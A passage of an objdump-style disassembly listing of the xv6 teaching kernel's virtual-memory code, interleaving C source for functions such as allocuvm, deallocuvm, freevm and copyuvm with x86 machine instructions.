80107ffd: 0f b6 90 a5 00 00 00 movzbl 0xa5(%eax),%edx 80108004: 83 ca 10 or $0x10,%edx 80108007: 88 90 a5 00 00 00 mov %dl,0xa5(%eax) 8010800d: 0f b6 90 a5 00 00 00 movzbl 0xa5(%eax),%edx 80108014: 83 e2 9f and $0xffffff9f,%edx 80108017: 88 90 a5 00 00 00 mov %dl,0xa5(%eax) 8010801d: 0f b6 90 a5 00 00 00 movzbl 0xa5(%eax),%edx 80108024: 83 ca 80 or $0xffffff80,%edx 80108027: 88 90 a5 00 00 00 mov %dl,0xa5(%eax) 8010802d: 0f b6 90 a6 00 00 00 movzbl 0xa6(%eax),%edx 80108034: 83 e2 f0 and $0xfffffff0,%edx 80108037: 88 90 a6 00 00 00 mov %dl,0xa6(%eax) 8010803d: 0f b6 90 a6 00 00 00 movzbl 0xa6(%eax),%edx 80108044: 83 e2 ef and $0xffffffef,%edx 80108047: 88 90 a6 00 00 00 mov %dl,0xa6(%eax) 8010804d: 0f b6 90 a6 00 00 00 movzbl 0xa6(%eax),%edx 80108054: 83 e2 df and $0xffffffdf,%edx 80108057: 88 90 a6 00 00 00 mov %dl,0xa6(%eax) 8010805d: 0f b6 90 a6 00 00 00 movzbl 0xa6(%eax),%edx 80108064: 83 ca 40 or $0x40,%edx 80108067: 88 90 a6 00 00 00 mov %dl,0xa6(%eax) 8010806d: 0f b6 90 a6 00 00 00 movzbl 0xa6(%eax),%edx 80108074: 83 e2 7f and $0x7f,%edx 80108077: 88 90 a6 00 00 00 mov %dl,0xa6(%eax) 8010807d: 88 88 a7 00 00 00 mov %cl,0xa7(%eax) cpu->gdt[SEG_TSS].s = 0; 80108083: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80108089: 0f b6 90 a5 00 00 00 movzbl 0xa5(%eax),%edx 80108090: 83 e2 ef and $0xffffffef,%edx 80108093: 88 90 a5 00 00 00 mov %dl,0xa5(%eax) cpu->ts.ss0 = SEG_KDATA << 3; 80108099: 65 a1 00 00 00 00 mov %gs:0x0,%eax 8010809f: 66 c7 40 10 10 00 movw $0x10,0x10(%eax) cpu->ts.esp0 = (uint)proc->kstack + KSTACKSIZE; 801080a5: 65 a1 00 00 00 00 mov %gs:0x0,%eax 801080ab: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx 801080b2: 8b 52 08 mov 0x8(%edx),%edx 801080b5: 81 c2 00 10 00 00 add $0x1000,%edx 801080bb: 89 50 0c mov %edx,0xc(%eax) ltr(SEG_TSS << 3); 801080be: 83 ec 0c sub $0xc,%esp 801080c1: 6a 30 push $0x30 801080c3: e8 f3 f7 ff ff call 801078bb <ltr> 801080c8: 83 c4 10 add $0x10,%esp if(p->pgdir == 0) 801080cb: 8b 45 08 mov 0x8(%ebp),%eax 801080ce: 8b 40 04 mov 0x4(%eax),%eax 801080d1: 85 c0 test %eax,%eax 801080d3: 75 0d jne 801080e2 <switchuvm+0x148> panic("switchuvm: no pgdir"); 801080d5: 83 ec 0c sub $0xc,%esp 801080d8: 68 2f 8f 10 80 push $0x80108f2f 801080dd: e8 84 84 ff ff call 80100566 <panic> lcr3(v2p(p->pgdir)); // switch to new address space 801080e2: 8b 45 08 mov 0x8(%ebp),%eax 801080e5: 8b 40 04 mov 0x4(%eax),%eax 801080e8: 83 ec 0c sub $0xc,%esp 801080eb: 50 push %eax 801080ec: e8 03 f8 ff ff call 801078f4 <v2p> 801080f1: 83 c4 10 add $0x10,%esp 801080f4: 83 ec 0c sub $0xc,%esp 801080f7: 50 push %eax 801080f8: e8 eb f7 ff ff call 801078e8 <lcr3> 801080fd: 83 c4 10 add $0x10,%esp popcli(); 80108100: e8 d3 d1 ff ff call 801052d8 <popcli> } 80108105: 90 nop 80108106: 8d 65 f8 lea -0x8(%ebp),%esp 80108109: 5b pop %ebx 8010810a: 5e pop %esi 8010810b: 5d pop %ebp 8010810c: c3 ret 8010810d <inituvm>: // Load the initcode into address 0 of pgdir. // sz must be less than a page. void inituvm(pde_t *pgdir, char *init, uint sz) { 8010810d: 55 push %ebp 8010810e: 89 e5 mov %esp,%ebp 80108110: 83 ec 18 sub $0x18,%esp char *mem; if(sz >= PGSIZE) 80108113: 81 7d 10 ff 0f 00 00 cmpl $0xfff,0x10(%ebp) 8010811a: 76 0d jbe 80108129 <inituvm+0x1c> panic("inituvm: more than a page"); 8010811c: 83 ec 0c sub $0xc,%esp 8010811f: 68 43 8f 10 80 push $0x80108f43 80108124: e8 3d 84 ff ff call 80100566 <panic> mem = kalloc(); 80108129: e8 38 ab ff ff call 80102c66 <kalloc> 8010812e: 89 45 f4 mov %eax,-0xc(%ebp) memset(mem, 0, PGSIZE); 80108131: 83 ec 04 sub $0x4,%esp 80108134: 68 00 10 00 00 push $0x1000 80108139: 6a 00 push $0x0 8010813b: ff 75 f4 pushl -0xc(%ebp) 8010813e: e8 56 d2 ff ff call 80105399 <memset> 80108143: 83 c4 10 add $0x10,%esp mappages(pgdir, 0, PGSIZE, v2p(mem), PTE_W|PTE_U); 80108146: 83 ec 0c sub $0xc,%esp 80108149: ff 75 f4 pushl -0xc(%ebp) 8010814c: e8 a3 f7 ff ff call 801078f4 <v2p> 80108151: 83 c4 10 add $0x10,%esp 80108154: 83 ec 0c sub $0xc,%esp 80108157: 6a 06 push $0x6 80108159: 50 push %eax 8010815a: 68 00 10 00 00 push $0x1000 8010815f: 6a 00 push $0x0 80108161: ff 75 08 pushl 0x8(%ebp) 80108164: e8 ba fc ff ff call 80107e23 <mappages> 80108169: 83 c4 20 add $0x20,%esp memmove(mem, init, sz); 8010816c: 83 ec 04 sub $0x4,%esp 8010816f: ff 75 10 pushl 0x10(%ebp) 80108172: ff 75 0c pushl 0xc(%ebp) 80108175: ff 75 f4 pushl -0xc(%ebp) 80108178: e8 db d2 ff ff call 80105458 <memmove> 8010817d: 83 c4 10 add $0x10,%esp } 80108180: 90 nop 80108181: c9 leave 80108182: c3 ret 80108183 <loaduvm>: // Load a program segment into pgdir. addr must be page-aligned // and the pages from addr to addr+sz must already be mapped. int loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz) { 80108183: 55 push %ebp 80108184: 89 e5 mov %esp,%ebp 80108186: 53 push %ebx 80108187: 83 ec 14 sub $0x14,%esp uint i, pa, n; pte_t *pte; if((uint) addr % PGSIZE != 0) 8010818a: 8b 45 0c mov 0xc(%ebp),%eax 8010818d: 25 ff 0f 00 00 and $0xfff,%eax 80108192: 85 c0 test %eax,%eax 80108194: 74 0d je 801081a3 <loaduvm+0x20> panic("loaduvm: addr must be page aligned"); 80108196: 83 ec 0c sub $0xc,%esp 80108199: 68 60 8f 10 80 push $0x80108f60 8010819e: e8 c3 83 ff ff call 80100566 <panic> for(i = 0; i < sz; i += PGSIZE){ 801081a3: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801081aa: e9 95 00 00 00 jmp 80108244 <loaduvm+0xc1> if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 801081af: 8b 55 0c mov 0xc(%ebp),%edx 801081b2: 8b 45 f4 mov -0xc(%ebp),%eax 801081b5: 01 d0 add %edx,%eax 801081b7: 83 ec 04 sub $0x4,%esp 801081ba: 6a 00 push $0x0 801081bc: 50 push %eax 801081bd: ff 75 08 pushl 0x8(%ebp) 801081c0: e8 be fb ff ff call 80107d83 <walkpgdir> 801081c5: 83 c4 10 add $0x10,%esp 801081c8: 89 45 ec mov %eax,-0x14(%ebp) 801081cb: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 801081cf: 75 0d jne 801081de <loaduvm+0x5b> panic("loaduvm: address should exist"); 801081d1: 83 ec 0c sub $0xc,%esp 801081d4: 68 83 8f 10 80 push $0x80108f83 801081d9: e8 88 83 ff ff call 80100566 <panic> pa = PTE_ADDR(*pte); 801081de: 8b 45 ec mov -0x14(%ebp),%eax 801081e1: 8b 00 mov (%eax),%eax 801081e3: 25 00 f0 ff ff and $0xfffff000,%eax 801081e8: 89 45 e8 mov %eax,-0x18(%ebp) if(sz - i < PGSIZE) 801081eb: 8b 45 18 mov 0x18(%ebp),%eax 801081ee: 2b 45 f4 sub -0xc(%ebp),%eax 801081f1: 3d ff 0f 00 00 cmp $0xfff,%eax 801081f6: 77 0b ja 80108203 <loaduvm+0x80> n = sz - i; 801081f8: 8b 45 18 mov 0x18(%ebp),%eax 801081fb: 2b 45 f4 sub -0xc(%ebp),%eax 801081fe: 89 45 f0 mov %eax,-0x10(%ebp) 80108201: eb 07 jmp 8010820a <loaduvm+0x87> else n = PGSIZE; 80108203: c7 45 f0 00 10 00 00 movl $0x1000,-0x10(%ebp) if(readi(ip, p2v(pa), offset+i, n) != n) 8010820a: 8b 55 14 mov 0x14(%ebp),%edx 8010820d: 8b 45 f4 mov -0xc(%ebp),%eax 80108210: 8d 1c 02 lea (%edx,%eax,1),%ebx 80108213: 83 ec 0c sub $0xc,%esp 80108216: ff 75 e8 pushl -0x18(%ebp) 80108219: e8 e3 f6 ff ff call 80107901 <p2v> 8010821e: 83 c4 10 add $0x10,%esp 80108221: ff 75 f0 pushl -0x10(%ebp) 80108224: 53 push %ebx 80108225: 50 push %eax 80108226: ff 75 10 pushl 0x10(%ebp) 80108229: e8 aa 9c ff ff call 80101ed8 <readi> 8010822e: 83 c4 10 add $0x10,%esp 80108231: 3b 45 f0 cmp -0x10(%ebp),%eax 80108234: 74 07 je 8010823d <loaduvm+0xba> return -1; 80108236: b8 ff ff ff ff mov $0xffffffff,%eax 8010823b: eb 18 jmp 80108255 <loaduvm+0xd2> uint i, pa, n; pte_t *pte; if((uint) addr % PGSIZE != 0) panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ 8010823d: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 80108244: 8b 45 f4 mov -0xc(%ebp),%eax 80108247: 3b 45 18 cmp 0x18(%ebp),%eax 8010824a: 0f 82 5f ff ff ff jb 801081af <loaduvm+0x2c> else n = PGSIZE; if(readi(ip, p2v(pa), offset+i, n) != n) return -1; } return 0; 80108250: b8 00 00 00 00 mov $0x0,%eax } 80108255: 8b 5d fc mov -0x4(%ebp),%ebx 80108258: c9 leave 80108259: c3 ret 8010825a <allocuvm>: // Allocate page tables and physical memory to grow process from oldsz to // newsz, which need not be page aligned. Returns new size or 0 on error. int allocuvm(pde_t *pgdir, uint oldsz, uint newsz) { 8010825a: 55 push %ebp 8010825b: 89 e5 mov %esp,%ebp 8010825d: 83 ec 18 sub $0x18,%esp char *mem; uint a; if(newsz >= KERNBASE) 80108260: 8b 45 10 mov 0x10(%ebp),%eax 80108263: 85 c0 test %eax,%eax 80108265: 79 0a jns 80108271 <allocuvm+0x17> return 0; 80108267: b8 00 00 00 00 mov $0x0,%eax 8010826c: e9 b0 00 00 00 jmp 80108321 <allocuvm+0xc7> if(newsz < oldsz) 80108271: 8b 45 10 mov 0x10(%ebp),%eax 80108274: 3b 45 0c cmp 0xc(%ebp),%eax 80108277: 73 08 jae 80108281 <allocuvm+0x27> return oldsz; 80108279: 8b 45 0c mov 0xc(%ebp),%eax 8010827c: e9 a0 00 00 00 jmp 80108321 <allocuvm+0xc7> a = PGROUNDUP(oldsz); 80108281: 8b 45 0c mov 0xc(%ebp),%eax 80108284: 05 ff 0f 00 00 add $0xfff,%eax 80108289: 25 00 f0 ff ff and $0xfffff000,%eax 8010828e: 89 45 f4 mov %eax,-0xc(%ebp) for(; a < newsz; a += PGSIZE){ 80108291: eb 7f jmp 80108312 <allocuvm+0xb8> mem = kalloc(); 80108293: e8 ce a9 ff ff call 80102c66 <kalloc> 80108298: 89 45 f0 mov %eax,-0x10(%ebp) if(mem == 0){ 8010829b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 8010829f: 75 2b jne 801082cc <allocuvm+0x72> cprintf("allocuvm out of memory\n"); 801082a1: 83 ec 0c sub $0xc,%esp 801082a4: 68 a1 8f 10 80 push $0x80108fa1 801082a9: e8 18 81 ff ff call 801003c6 <cprintf> 801082ae: 83 c4 10 add $0x10,%esp deallocuvm(pgdir, newsz, oldsz); 801082b1: 83 ec 04 sub $0x4,%esp 801082b4: ff 75 0c pushl 0xc(%ebp) 801082b7: ff 75 10 pushl 0x10(%ebp) 801082ba: ff 75 08 pushl 0x8(%ebp) 801082bd: e8 61 00 00 00 call 80108323 <deallocuvm> 801082c2: 83 c4 10 add $0x10,%esp return 0; 801082c5: b8 00 00 00 00 mov $0x0,%eax 801082ca: eb 55 jmp 80108321 <allocuvm+0xc7> } memset(mem, 0, PGSIZE); 801082cc: 83 ec 04 sub $0x4,%esp 801082cf: 68 00 10 00 00 push $0x1000 801082d4: 6a 00 push $0x0 801082d6: ff 75 f0 pushl -0x10(%ebp) 801082d9: e8 bb d0 ff ff call 80105399 <memset> 801082de: 83 c4 10 add $0x10,%esp mappages(pgdir, (char*)a, PGSIZE, v2p(mem), PTE_W|PTE_U); 801082e1: 83 ec 0c sub $0xc,%esp 801082e4: ff 75 f0 pushl -0x10(%ebp) 801082e7: e8 08 f6 ff ff call 801078f4 <v2p> 801082ec: 83 c4 10 add $0x10,%esp 801082ef: 89 c2 mov %eax,%edx 801082f1: 8b 45 f4 mov -0xc(%ebp),%eax 801082f4: 83 ec 0c sub $0xc,%esp 801082f7: 6a 06 push $0x6 801082f9: 52 push %edx 801082fa: 68 00 10 00 00 push $0x1000 801082ff: 50 push %eax 80108300: ff 75 08 pushl 0x8(%ebp) 80108303: e8 1b fb ff ff call 80107e23 <mappages> 80108308: 83 c4 20 add $0x20,%esp return 0; if(newsz < oldsz) return oldsz; a = PGROUNDUP(oldsz); for(; a < newsz; a += PGSIZE){ 8010830b: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 80108312: 8b 45 f4 mov -0xc(%ebp),%eax 80108315: 3b 45 10 cmp 0x10(%ebp),%eax 80108318: 0f 82 75 ff ff ff jb 80108293 <allocuvm+0x39> return 0; } memset(mem, 0, PGSIZE); mappages(pgdir, (char*)a, PGSIZE, v2p(mem), PTE_W|PTE_U); } return newsz; 8010831e: 8b 45 10 mov 0x10(%ebp),%eax } 80108321: c9 leave 80108322: c3 ret 80108323 <deallocuvm>: // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) { 80108323: 55 push %ebp 80108324: 89 e5 mov %esp,%ebp 80108326: 83 ec 18 sub $0x18,%esp pte_t *pte; uint a, pa; if(newsz >= oldsz) 80108329: 8b 45 10 mov 0x10(%ebp),%eax 8010832c: 3b 45 0c cmp 0xc(%ebp),%eax 8010832f: 72 08 jb 80108339 <deallocuvm+0x16> return oldsz; 80108331: 8b 45 0c mov 0xc(%ebp),%eax 80108334: e9 a5 00 00 00 jmp 801083de <deallocuvm+0xbb> a = PGROUNDUP(newsz); 80108339: 8b 45 10 mov 0x10(%ebp),%eax 8010833c: 05 ff 0f 00 00 add $0xfff,%eax 80108341: 25 00 f0 ff ff and $0xfffff000,%eax 80108346: 89 45 f4 mov %eax,-0xc(%ebp) for(; a < oldsz; a += PGSIZE){ 80108349: e9 81 00 00 00 jmp 801083cf <deallocuvm+0xac> pte = walkpgdir(pgdir, (char*)a, 0); 8010834e: 8b 45 f4 mov -0xc(%ebp),%eax 80108351: 83 ec 04 sub $0x4,%esp 80108354: 6a 00 push $0x0 80108356: 50 push %eax 80108357: ff 75 08 pushl 0x8(%ebp) 8010835a: e8 24 fa ff ff call 80107d83 <walkpgdir> 8010835f: 83 c4 10 add $0x10,%esp 80108362: 89 45 f0 mov %eax,-0x10(%ebp) if(!pte) 80108365: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80108369: 75 09 jne 80108374 <deallocuvm+0x51> a += (NPTENTRIES - 1) * PGSIZE; 8010836b: 81 45 f4 00 f0 3f 00 addl $0x3ff000,-0xc(%ebp) 80108372: eb 54 jmp 801083c8 <deallocuvm+0xa5> else if((*pte & PTE_P) != 0){ 80108374: 8b 45 f0 mov -0x10(%ebp),%eax 80108377: 8b 00 mov (%eax),%eax 80108379: 83 e0 01 and $0x1,%eax 8010837c: 85 c0 test %eax,%eax 8010837e: 74 48 je 801083c8 <deallocuvm+0xa5> pa = PTE_ADDR(*pte); 80108380: 8b 45 f0 mov -0x10(%ebp),%eax 80108383: 8b 00 mov (%eax),%eax 80108385: 25 00 f0 ff ff and $0xfffff000,%eax 8010838a: 89 45 ec mov %eax,-0x14(%ebp) if(pa == 0) 8010838d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 80108391: 75 0d jne 801083a0 <deallocuvm+0x7d> panic("kfree"); 80108393: 83 ec 0c sub $0xc,%esp 80108396: 68 b9 8f 10 80 push $0x80108fb9 8010839b: e8 c6 81 ff ff call 80100566 <panic> char *v = p2v(pa); 801083a0: 83 ec 0c sub $0xc,%esp 801083a3: ff 75 ec pushl -0x14(%ebp) 801083a6: e8 56 f5 ff ff call 80107901 <p2v> 801083ab: 83 c4 10 add $0x10,%esp 801083ae: 89 45 e8 mov %eax,-0x18(%ebp) kfree(v); 801083b1: 83 ec 0c sub $0xc,%esp 801083b4: ff 75 e8 pushl -0x18(%ebp) 801083b7: e8 0d a8 ff ff call 80102bc9 <kfree> 801083bc: 83 c4 10 add $0x10,%esp *pte = 0; 801083bf: 8b 45 f0 mov -0x10(%ebp),%eax 801083c2: c7 00 00 00 00 00 movl $0x0,(%eax) if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); for(; a < oldsz; a += PGSIZE){ 801083c8: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 801083cf: 8b 45 f4 mov -0xc(%ebp),%eax 801083d2: 3b 45 0c cmp 0xc(%ebp),%eax 801083d5: 0f 82 73 ff ff ff jb 8010834e <deallocuvm+0x2b> char *v = p2v(pa); kfree(v); *pte = 0; } } return newsz; 801083db: 8b 45 10 mov 0x10(%ebp),%eax } 801083de: c9 leave 801083df: c3 ret 801083e0 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 801083e0: 55 push %ebp 801083e1: 89 e5 mov %esp,%ebp 801083e3: 83 ec 18 sub $0x18,%esp uint i; if(pgdir == 0) 801083e6: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 801083ea: 75 0d jne 801083f9 <freevm+0x19> panic("freevm: no pgdir"); 801083ec: 83 ec 0c sub $0xc,%esp 801083ef: 68 bf 8f 10 80 push $0x80108fbf 801083f4: e8 6d 81 ff ff call 80100566 <panic> deallocuvm(pgdir, KERNBASE, 0); 801083f9: 83 ec 04 sub $0x4,%esp 801083fc: 6a 00 push $0x0 801083fe: 68 00 00 00 80 push $0x80000000 80108403: ff 75 08 pushl 0x8(%ebp) 80108406: e8 18 ff ff ff call 80108323 <deallocuvm> 8010840b: 83 c4 10 add $0x10,%esp for(i = 0; i < NPDENTRIES; i++){ 8010840e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80108415: eb 4f jmp 80108466 <freevm+0x86> if(pgdir[i] & PTE_P){ 80108417: 8b 45 f4 mov -0xc(%ebp),%eax 8010841a: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80108421: 8b 45 08 mov 0x8(%ebp),%eax 80108424: 01 d0 add %edx,%eax 80108426: 8b 00 mov (%eax),%eax 80108428: 83 e0 01 and $0x1,%eax 8010842b: 85 c0 test %eax,%eax 8010842d: 74 33 je 80108462 <freevm+0x82> char * v = p2v(PTE_ADDR(pgdir[i])); 8010842f: 8b 45 f4 mov -0xc(%ebp),%eax 80108432: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80108439: 8b 45 08 mov 0x8(%ebp),%eax 8010843c: 01 d0 add %edx,%eax 8010843e: 8b 00 mov (%eax),%eax 80108440: 25 00 f0 ff ff and $0xfffff000,%eax 80108445: 83 ec 0c sub $0xc,%esp 80108448: 50 push %eax 80108449: e8 b3 f4 ff ff call 80107901 <p2v> 8010844e: 83 c4 10 add $0x10,%esp 80108451: 89 45 f0 mov %eax,-0x10(%ebp) kfree(v); 80108454: 83 ec 0c sub $0xc,%esp 80108457: ff 75 f0 pushl -0x10(%ebp) 8010845a: e8 6a a7 ff ff call 80102bc9 <kfree> 8010845f: 83 c4 10 add $0x10,%esp uint i; if(pgdir == 0) panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80108462: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80108466: 81 7d f4 ff 03 00 00 cmpl $0x3ff,-0xc(%ebp) 8010846d: 76 a8 jbe 80108417 <freevm+0x37> if(pgdir[i] & PTE_P){ char * v = p2v(PTE_ADDR(pgdir[i])); kfree(v); } } kfree((char*)pgdir); 8010846f: 83 ec 0c sub $0xc,%esp 80108472: ff 75 08 pushl 0x8(%ebp) 80108475: e8 4f a7 ff ff call 80102bc9 <kfree> 8010847a: 83 c4 10 add $0x10,%esp } 8010847d: 90 nop 8010847e: c9 leave 8010847f: c3 ret 80108480 <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80108480: 55 push %ebp 80108481: 89 e5 mov %esp,%ebp 80108483: 83 ec 18 sub $0x18,%esp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80108486: 83 ec 04 sub $0x4,%esp 80108489: 6a 00 push $0x0 8010848b: ff 75 0c pushl 0xc(%ebp) 8010848e: ff 75 08 pushl 0x8(%ebp) 80108491: e8 ed f8 ff ff call 80107d83 <walkpgdir> 80108496: 83 c4 10 add $0x10,%esp 80108499: 89 45 f4 mov %eax,-0xc(%ebp) if(pte == 0) 8010849c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801084a0: 75 0d jne 801084af <clearpteu+0x2f> panic("clearpteu"); 801084a2: 83 ec 0c sub $0xc,%esp 801084a5: 68 d0 8f 10 80 push $0x80108fd0 801084aa: e8 b7 80 ff ff call 80100566 <panic> *pte &= ~PTE_U; 801084af: 8b 45 f4 mov -0xc(%ebp),%eax 801084b2: 8b 00 mov (%eax),%eax 801084b4: 83 e0 fb and $0xfffffffb,%eax 801084b7: 89 c2 mov %eax,%edx 801084b9: 8b 45 f4 mov -0xc(%ebp),%eax 801084bc: 89 10 mov %edx,(%eax) } 801084be: 90 nop 801084bf: c9 leave 801084c0: c3 ret 801084c1 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz) { 801084c1: 55 push %ebp 801084c2: 89 e5 mov %esp,%ebp 801084c4: 53 push %ebx 801084c5: 83 ec 24 sub $0x24,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 801084c8: e8 e6 f9 ff ff call 80107eb3 <setupkvm> 801084cd: 89 45 f0 mov %eax,-0x10(%ebp) 801084d0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 801084d4: 75 0a jne 801084e0 <copyuvm+0x1f> return 0; 801084d6: b8 00 00 00 00 mov $0x0,%eax 801084db: e9 f8 00 00 00 jmp 801085d8 <copyuvm+0x117> for(i = 0; i < sz; i += PGSIZE){ 801084e0: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801084e7: e9 c4 00 00 00 jmp 801085b0 <copyuvm+0xef> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 801084ec: 8b 45 f4 mov -0xc(%ebp),%eax 801084ef: 83 ec 04 sub $0x4,%esp 801084f2: 6a 00 push $0x0 801084f4: 50 push %eax 801084f5: ff 75 08 pushl 0x8(%ebp) 801084f8: e8 86 f8 ff ff call 80107d83 <walkpgdir> 801084fd: 83 c4 10 add $0x10,%esp 80108500: 89 45 ec mov %eax,-0x14(%ebp) 80108503: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 80108507: 75 0d jne 80108516 <copyuvm+0x55> panic("copyuvm: pte should exist"); 80108509: 83 ec 0c sub $0xc,%esp 8010850c: 68 da 8f 10 80 push $0x80108fda 80108511: e8 50 80 ff ff call 80100566 <panic> if(!(*pte & PTE_P)) 80108516: 8b 45 ec mov -0x14(%ebp),%eax 80108519: 8b 00 mov (%eax),%eax 8010851b: 83 e0 01 and $0x1,%eax 8010851e: 85 c0 test %eax,%eax 80108520: 75 0d jne 8010852f <copyuvm+0x6e> panic("copyuvm: page not present"); 80108522: 83 ec 0c sub $0xc,%esp 80108525: 68 f4 8f 10 80 push $0x80108ff4 8010852a: e8 37 80 ff ff call 80100566 <panic> pa = PTE_ADDR(*pte); 8010852f: 8b 45 ec mov -0x14(%ebp),%eax 80108532: 8b 00 mov (%eax),%eax 80108534: 25 00 f0 ff ff and $0xfffff000,%eax 80108539: 89 45 e8 mov %eax,-0x18(%ebp) flags = PTE_FLAGS(*pte); 8010853c: 8b 45 ec mov -0x14(%ebp),%eax 8010853f: 8b 00 mov (%eax),%eax 80108541: 25 ff 0f 00 00 and $0xfff,%eax 80108546: 89 45 e4 mov %eax,-0x1c(%ebp) if((mem = kalloc()) == 0) 80108549: e8 18 a7 ff ff call 80102c66 <kalloc> 8010854e: 89 45 e0 mov %eax,-0x20(%ebp) 80108551: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) 80108555: 74 6a je 801085c1 <copyuvm+0x100> goto bad; memmove(mem, (char*)p2v(pa), PGSIZE); 80108557: 83 ec 0c sub $0xc,%esp 8010855a: ff 75 e8 pushl -0x18(%ebp) 8010855d: e8 9f f3 ff ff call 80107901 <p2v> 80108562: 83 c4 10 add $0x10,%esp 80108565: 83 ec 04 sub $0x4,%esp 80108568: 68 00 10 00 00 push $0x1000 8010856d: 50 push %eax 8010856e: ff 75 e0 pushl -0x20(%ebp) 80108571: e8 e2 ce ff ff call 80105458 <memmove> 80108576: 83 c4 10 add $0x10,%esp if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0) 80108579: 8b 5d e4 mov -0x1c(%ebp),%ebx 8010857c: 83 ec 0c sub $0xc,%esp 8010857f: ff 75 e0 pushl -0x20(%ebp) 80108582: e8 6d f3 ff ff call 801078f4 <v2p> 80108587: 83 c4 10 add $0x10,%esp 8010858a: 89 c2 mov %eax,%edx 8010858c: 8b 45 f4 mov -0xc(%ebp),%eax 8010858f: 83 ec 0c sub $0xc,%esp 80108592: 53 push %ebx 80108593: 52 push %edx 80108594: 68 00 10 00 00 push $0x1000 80108599: 50 push %eax 8010859a: ff 75 f0 pushl -0x10(%ebp) 8010859d: e8 81 f8 ff ff call 80107e23 <mappages> 801085a2: 83 c4 20 add $0x20,%esp 801085a5: 85 c0 test %eax,%eax 801085a7: 78 1b js 801085c4 <copyuvm+0x103> uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) return 0; for(i = 0; i < sz; i += PGSIZE){ 801085a9: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 801085b0: 8b 45 f4 mov -0xc(%ebp),%eax 801085b3: 3b 45 0c cmp 0xc(%ebp),%eax 801085b6: 0f 82 30 ff ff ff jb 801084ec <copyuvm+0x2b> goto bad; memmove(mem, (char*)p2v(pa), PGSIZE); if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0) goto bad; } return d; 801085bc: 8b 45 f0 mov -0x10(%ebp),%eax 801085bf: eb 17 jmp 801085d8 <copyuvm+0x117> if(!(*pte & PTE_P)) panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; 801085c1: 90 nop 801085c2: eb 01 jmp 801085c5 <copyuvm+0x104> memmove(mem, (char*)p2v(pa), PGSIZE); if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0) goto bad; 801085c4: 90 nop } return d; bad: freevm(d); 801085c5: 83 ec 0c sub $0xc,%esp 801085c8: ff 75 f0 pushl -0x10(%ebp) 801085cb: e8 10 fe ff ff call 801083e0 <freevm> 801085d0: 83 c4 10 add $0x10,%esp return 0; 801085d3: b8 00 00 00 00 mov $0x0,%eax } 801085d8: 8b 5d fc mov -0x4(%ebp),%ebx 801085db: c9 leave 801085dc: c3 ret 801085dd <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 801085dd: 55 push %ebp 801085de: 89 e5 mov %esp,%ebp 801085e0: 83 ec 18 sub $0x18,%esp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 801085e3: 83 ec 04 sub $0x4,%esp 801085e6: 6a 00 push $0x0 801085e8: ff 75 0c pushl 0xc(%ebp) 801085eb: ff 75 08 pushl 0x8(%ebp) 801085ee: e8 90 f7 ff ff call 80107d83 <walkpgdir> 801085f3: 83 c4 10 add $0x10,%esp 801085f6: 89 45 f4 mov %eax,-0xc(%ebp) if((*pte & PTE_P) == 0) 801085f9: 8b 45 f4 mov -0xc(%ebp),%eax 801085fc: 8b 00 mov (%eax),%eax 801085fe: 83 e0 01 and $0x1,%eax 80108601: 85 c0 test %eax,%eax 80108603: 75 07 jne 8010860c <uva2ka+0x2f> return 0; 80108605: b8 00 00 00 00 mov $0x0,%eax 8010860a: eb 29 jmp 80108635 <uva2ka+0x58> if((*pte & PTE_U) == 0) 8010860c: 8b 45 f4 mov -0xc(%ebp),%eax 8010860f: 8b 00 mov (%eax),%eax 80108611: 83 e0 04 and $0x4,%eax 80108614: 85 c0 test %eax,%eax 80108616: 75 07 jne 8010861f <uva2ka+0x42> return 0; 80108618: b8 00 00 00 00 mov $0x0,%eax 8010861d: eb 16 jmp 80108635 <uva2ka+0x58> return (char*)p2v(PTE_ADDR(*pte)); 8010861f: 8b 45 f4 mov -0xc(%ebp),%eax 80108622: 